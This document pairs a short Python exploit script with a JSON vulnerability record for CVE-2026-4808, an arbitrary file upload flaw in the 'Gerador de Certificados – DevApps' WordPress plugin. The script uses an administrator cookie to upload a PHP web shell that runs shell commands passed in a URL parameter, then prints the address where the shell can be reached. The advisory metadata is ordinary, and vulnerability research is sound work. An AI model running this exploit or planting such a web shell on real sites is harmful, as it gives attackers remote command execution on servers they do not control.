CVE-2026-4808

import requests # Target configuration target_url = "http://example.com/wp-admin/admin.php?page=devapps-certificate-generator" upload_url = "http://example.com/wp-admin/admin-ajax.php" admin_cookie = "wordpress_logged_in_xxx=...; wp-admin_session=..." # Malicious PHP shell content php_code = "<?php system($_GET['cmd']); ?>" # Prepare the file payload files = { 'file': ('shell.php', php_code, 'application/x-php') } # Headers with authentication headers = { 'Cookie': admin_cookie } # Send the upload request response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200 and "success" in response.text: print("[+] File uploaded successfully!") print(f"[+] Access your shell at: http://example.com/wp-content/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed.")

{"cve": {"id": "CVE-2026-4808", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:22.517", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gerador de Certificados – DevApps plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the moveUploadedFile() function in all versions up to, and including, 1.3.6. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gerador-de-certificados-devapps/trunk/admin/class-devapps-certificate-generator-admin.php#L346", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/870bf5fe-00c6-48fe-b9e6-e8233c689b71?source=cve", "source": "[email protected]"}]}}